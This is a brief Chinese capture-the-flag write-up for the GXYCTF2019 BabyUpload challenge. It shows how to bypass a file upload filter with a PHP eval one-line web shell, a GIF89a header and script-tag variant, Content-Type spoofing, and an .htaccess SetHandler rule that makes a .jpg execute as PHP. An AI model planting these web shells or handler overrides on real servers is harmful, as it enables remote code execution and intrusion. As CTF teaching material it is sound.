[GXYCTF2019]BabyUpload
打开靶场看到个上传文件的选项，应该是上传文件漏洞
上传个一句话木马文件尝试
<?php eval($_POST['cmd']);?>
提示不能带有php的后缀
改成jpg后缀，提示“上传类型也太露骨了吧！”
修改了Content-Type为image/jpeg还是不行
换了一种一句话木马
GIF89a
<script language='php'>@eval($_POST['cmd'])</script>
此时上传成功
但是图片无法解析为php
使用.htaccess将文件解析为php
<FilesMatch "d.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这里注意还是需要修改下Content-Type，否则还是会提示上传类型露骨
然后再上传一句话木马
此时通过蚁剑连接，在根目录下找到flag
